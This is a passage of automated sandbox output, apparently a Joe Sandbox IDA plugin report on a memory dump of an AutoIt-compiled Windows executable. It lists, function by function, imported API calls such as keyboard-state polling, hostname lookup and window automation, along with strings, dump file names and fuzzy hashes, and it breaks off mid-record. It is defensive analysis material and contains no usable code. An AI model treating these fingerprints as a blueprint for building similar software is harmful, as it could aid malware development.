gethostbyname.WSOCK32(?), ref: 00344C4E
_wcscpy.LIBCMT ref: 00344C76
_memmove.LIBCMT ref: 00344C89
inet_ntoa.WSOCK32(?), ref: 00344C94
_strcat.LIBCMT ref: 00344CA2
_wcscpy.LIBCMT ref: 00344CB9
WSACleanup.WSOCK32 ref: 00344CC7
_wcscpy.LIBCMT ref: 00344CD5

Strings

0.0.0.0, xrefs: 00344C70

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: e8a7ea7d340d2018146a36e5c8ccfbe5815d5920675d34e8bf2ce2cc1f5fbea4
Instruction ID: b4573506694030b49d4a264ba93d52ce9bee3cbf8ef43368dab52e92d0dc6736
Opcode Fuzzy Hash: e8a7ea7d340d2018146a36e5c8ccfbe5815d5920675d34e8bf2ce2cc1f5fbea4
Instruction Fuzzy Hash: F711C031905109BBCB2BAB609D8AEEB77ECDF41710F0841B6F0499A091EB70AD818A91

Function 00345530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00345535

Part of subcall function 00300859: timeGetTime.WINMM(?,00000002,002EC22C), ref: 0030085D

Sleep.KERNEL32(0000000A), ref: 00345561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00345585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 003455A7
SetActiveWindow.USER32 ref: 003455C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 003455D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 003455F3
Sleep.KERNEL32(000000FA), ref: 003455FE
IsWindow.USER32 ref: 0034560A
EndDialog.USER32(00000000), ref: 0034561B

Strings

BUTTON, xrefs: 00345599

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: fa770a17eff4e8d609069936391d1ac77af42c0d0c3d4714dd85ce2b83dfd63d
Instruction ID: 08ea5467fc3b2a57a7185a527d42331cfe666eaeff381d230ef5485bf29413ce
Opcode Fuzzy Hash: fa770a17eff4e8d609069936391d1ac77af42c0d0c3d4714dd85ce2b83dfd63d
Instruction Fuzzy Hash: C221C670A04604EFE7576BA0ECC9B353BAEFB47355F012418F406891A2CF756D90DB21

Function 0034DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

CoInitialize.OLE32(00000000), ref: 0034DC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0034DCC0
SHGetDesktopFolder.SHELL32(?), ref: 0034DCD4
CoCreateInstance.OLE32(00373D4C,00000000,00000001,0039B86C,?), ref: 0034DD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0034DD8F
CoTaskMemFree.OLE32(?,?), ref: 0034DDE7
_memset.LIBCMT ref: 0034DE24
SHBrowseForFolderW.SHELL32(?), ref: 0034DE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0034DE83
CoTaskMemFree.OLE32(00000000), ref: 0034DE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0034DEC1
CoUninitialize.OLE32(00000001,00000000), ref: 0034DEC3

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 36c8f9e251ab07b6b22d8775f5b2f5ab936afc52b2755f7a373e3cb03e662892
Instruction ID: 019cb6aa04d7a32b788895e23f0ee7e502ac6728813dafcb6edd068df79a48c7
Opcode Fuzzy Hash: 36c8f9e251ab07b6b22d8775f5b2f5ab936afc52b2755f7a373e3cb03e662892
Instruction Fuzzy Hash: 20B1E875A10119AFDB15DFA4C888DAEBBF9EF48304F108469E909EB261DB30EE41CF50

Function 0034081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00340896
SetKeyboardState.USER32(?), ref: 00340901
GetAsyncKeyState.USER32(000000A0), ref: 00340921
GetKeyState.USER32(000000A0), ref: 00340938
GetAsyncKeyState.USER32(000000A1), ref: 00340967
GetKeyState.USER32(000000A1), ref: 00340978
GetAsyncKeyState.USER32(00000011), ref: 003409A4
GetKeyState.USER32(00000011), ref: 003409B2
GetAsyncKeyState.USER32(00000012), ref: 003409DB
GetKeyState.USER32(00000012), ref: 003409E9
GetAsyncKeyState.USER32(0000005B), ref: 00340A12
GetKeyState.USER32(0000005B), ref: 00340A20

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 5971de77649b75ae9daadc4653295f24672dcfc22ccfe052e78ba959469942e0
Instruction ID: 5715036cbae36fe6321ba90b2e82f177fe3f80384841d0afeaaf220dd6cb72ab
Opcode Fuzzy Hash: 5971de77649b75ae9daadc4653295f24672dcfc22ccfe052e78ba959469942e0
Instruction Fuzzy Hash: A951A830B0479859FB3AD7B089147AABFF49F01380F09459996C65F1C3DA74BA8CCB91

Function 0033CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0033CE1C
GetWindowRect.USER32(00000000,?), ref: 0033CE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0033CE8C
GetDlgItem.USER32(?,00000002), ref: 0033CE97
GetWindowRect.USER32(00000000,?), ref: 0033CEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0033CEFD
GetDlgItem.USER32(?,000003E9), ref: 0033CF0B
GetWindowRect.USER32(00000000,?), ref: 0033CF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0033CF5F
GetDlgItem.USER32(?,000003EA), ref: 0033CF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0033CF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 0033CF97

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: a16119355aa186c348b784671566b39193c6de6eec2a0e319bcd5b1547ab9ba0
Instruction ID: 696454c698098f4ec63f341cf70af3d0612d395b5d20b35c73684b2a1de1fa16
Opcode Fuzzy Hash: a16119355aa186c348b784671566b39193c6de6eec2a0e319bcd5b1547ab9ba0
Instruction Fuzzy Hash: 8E516571B10205AFDF19CF68CD95AAEBBBAFB88711F14812DF519E7290D770AD408B50

Function 002E2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 002E29AB: GetWindowLongW.USER32(?,000000EB), ref: 002E29BC

GetSysColor.USER32(0000000F), ref: 002E25AF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 841f4417d3d0124482a9bf9393e59859d1303f92ea21cade0e36190c4b2ffbd8
Instruction ID: 3ac80888a7bd79fa385050022ccd48f1274ed5f6b3358bad7bc8a8a98747b1bd
Opcode Fuzzy Hash: 841f4417d3d0124482a9bf9393e59859d1303f92ea21cade0e36190c4b2ffbd8
Instruction Fuzzy Hash: B841C430054184EBDF3A5F299C88BB9376DEB0A335F954361FD668A1E1C7708C96DB21

Function 002F29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00300B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,002F2A3E,?,00008000), ref: 00300BA7

Part of subcall function 00300284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002F2A58,?,00008000), ref: 003002A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 002F2ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 002F2C2C

Part of subcall function 002F3EBE: _wcscpy.LIBCMT ref: 002F3EF6

Part of subcall function 0030386D: _iswctype.LIBCMT ref: 00303875

Strings

Unterminated string, xrefs: 003300D6
Error opening the file, xrefs: 0032FD33, 0032FDAA
AU3!, xrefs: 002F2A93
EA06, xrefs: 0032FD48
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0032FD17
Bad directive syntax error, xrefs: 0033008F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 223002323b73f6f07c39195a225cab91c5c169f0f43e293ca771fb8ab75f2d95
Instruction ID: fa0cd2233919ccf4cb9e9725ff86c2b704b8791168a5dbe425d5a248595b6902
Opcode Fuzzy Hash: 223002323b73f6f07c39195a225cab91c5c169f0f43e293ca771fb8ab75f2d95
Instruction Fuzzy Hash: 5802BF30118345DFC725EF24C891AAFFBE5AF89394F00092EF589972A2DB30D959CB42

Function 002E4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 002E4D62
__swprintf.LIBCMT ref: 002E4DAC
__i64tow.LIBCMT ref: 0031DB3B

Strings

0x%p, xrefs: 0031DB1D
False, xrefs: 0031DB03
True, xrefs: 0031DAFC
%.15g, xrefs: 002E4DA6

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 836353d40d428096641f33b7fd7969746fd6a80a3baebeaff0b730f2afde52fc
Instruction ID: f9164cb94c393d0d395e456f24c92815e7d0ee413b579fb278f4f0d007defc79
Opcode Fuzzy Hash: 836353d40d428096641f33b7fd7969746fd6a80a3baebeaff0b730f2afde52fc
Instruction Fuzzy Hash: 56411B71568209AFDB3AEF34DC41EBA73F8EF49300F60446EE149DB291EA719951DB10

Function 00367777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0036778F
CreateMenu.USER32 ref: 003677AA
SetMenu.USER32(?,00000000), ref: 003677B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00367846
IsMenu.USER32(?), ref: 0036785C
CreatePopupMenu.USER32 ref: 00367866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00367893
DrawMenuBar.USER32 ref: 0036789B

Strings

F, xrefs: 00367887
0, xrefs: 00367785

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 7c056f44c58a841d58ee308b722f50e0799a104e07fa2c523eccad7dd09d3100
Instruction ID: a1bc06ea127f778081bb19debf805579021273b84b6d878a910ec6022cbe7085
Opcode Fuzzy Hash: 7c056f44c58a841d58ee308b722f50e0799a104e07fa2c523eccad7dd09d3100
Instruction Fuzzy Hash: 07417B74A04209EFDB26DF64D889AAABBF9FF49314F154028F90AA7360D770AD10CF50

Function 00367AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00367B83
CreateCompatibleDC.GDI32(00000000), ref: 00367B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00367B9D
SelectObject.GDI32(00000000,00000000), ref: 00367BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 00367BB0
DeleteDC.GDI32(00000000), ref: 00367BB9
GetWindowLongW.USER32(?,000000EC), ref: 00367BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00367BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00367BE3

Strings

static, xrefs: 00367B1B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: b6add1f9f59d9330345a1512d39552f6629c4714df8769d5f1ab3f54af949f4a
Instruction ID: ca08cb49826870dd29115fd90fd69eb9d1932b24873a2f0ca50f5b95280cd9b8
Opcode Fuzzy Hash: b6add1f9f59d9330345a1512d39552f6629c4714df8769d5f1ab3f54af949f4a
Instruction Fuzzy Hash: 1B318932104218EBDF269FA4DC49FEB3B6DFF09364F114214FA59A61A0C731D860DBA0

Function 00307030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0030706B

Part of subcall function 00308D58: __getptd_noexit.LIBCMT ref: 00308D58

__gmtime64_s.LIBCMT ref: 00307104
__gmtime64_s.LIBCMT ref: 0030713A
__gmtime64_s.LIBCMT ref: 00307157
__allrem.LIBCMT ref: 003071AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003071C9
__allrem.LIBCMT ref: 003071E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003071FE
__allrem.LIBCMT ref: 00307215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00307233
__invoke_watson.LIBCMT ref: 003072A4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: b103b7554590f5f97ba205950a07947dd888d4ee0bedb0709529dc9529669b8c
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 547127B1E06707ABE71A9F78CC51B9AB3A8AF14360F15462AF514EB6C1E770F94087D0

Function 00342CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00342CE9
GetMenuItemInfoW.USER32(003A7890,000000FF,00000000,00000030), ref: 00342D4A
SetMenuItemInfoW.USER32(003A7890,00000004,00000000,00000030), ref: 00342D80
Sleep.KERNEL32(000001F4), ref: 00342D92
GetMenuItemCount.USER32(?), ref: 00342DD6
GetMenuItemID.USER32(?,00000000), ref: 00342DF2
GetMenuItemID.USER32(?,-00000001), ref: 00342E1C
GetMenuItemID.USER32(?,?), ref: 00342E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00342EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00342EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00342EDC

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: d304409b550b2b1b5815235983fd18b46cfcf89cbe0229cfca2257a3da2ef86b
Instruction ID: 96ab6a3ed2dc8184a8b8caf839afce82972fef6c476f7bb432f1f92ebcc84e9c
Opcode Fuzzy Hash: d304409b550b2b1b5815235983fd18b46cfcf89cbe0229cfca2257a3da2ef86b
Instruction Fuzzy Hash: 72618970900249AFDB22CF64CC88AAFBBF8EB42304F954459F851BB251D771BD85DB20

Function 00367548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 003675CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 003675CD
GetWindowLongW.USER32(?,000000F0), ref: 003675F1
_memset.LIBCMT ref: 00367602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00367614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0036768C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 08c54d1d5cc7c7009202392bf5c7abef50d9bf514abfb1aa874e086caf38d397
Instruction ID: 1d8994f4e6cae966158a4f9d2482dcfe43cc961901beea4741d122130a216a8f
Opcode Fuzzy Hash: 08c54d1d5cc7c7009202392bf5c7abef50d9bf514abfb1aa874e086caf38d397
Instruction Fuzzy Hash: 1F619C75904208AFDB12DFA8CC85EEE77F8EB09714F104199FA15EB2A1C770AD41DBA0

Function 003377B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 003377DD
SafeArrayAllocData.OLEAUT32(?), ref: 00337836
VariantInit.OLEAUT32(?), ref: 00337848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00337868
VariantCopy.OLEAUT32(?,?), ref: 003378BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 003378CF
VariantClear.OLEAUT32(?), ref: 003378E4
SafeArrayDestroyData.OLEAUT32(?), ref: 003378F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003378FA
VariantClear.OLEAUT32(?), ref: 0033790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00337917

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: db4e445393b9e4e5312549d49719d558c9b991c252fbeda0e5b9fd47e2eff501
Instruction ID: 472c7646eaf3223e48811ed7a31960db0e2d678ce8316143416261bfd04d60d1
Opcode Fuzzy Hash: db4e445393b9e4e5312549d49719d558c9b991c252fbeda0e5b9fd47e2eff501
Instruction Fuzzy Hash: 35416675A00119DFCB25DFA5CC889EDBBB9FF08314F008069E955AB261C730A945CF90

Function 00358AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

CoInitialize.OLE32 ref: 00358AED
CoUninitialize.OLE32 ref: 00358AF8
CoCreateInstance.OLE32(?,00000000,00000017,00373BBC,?), ref: 00358B58
IIDFromString.OLE32(?,?), ref: 00358BCB
VariantInit.OLEAUT32(?), ref: 00358C65
VariantClear.OLEAUT32(?), ref: 00358CC6

Strings

NULL Pointer assignment, xrefs: 00358B9D
Invalid parameter, xrefs: 00358BE4
Failed to create object, xrefs: 00358B63, 00358C19

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

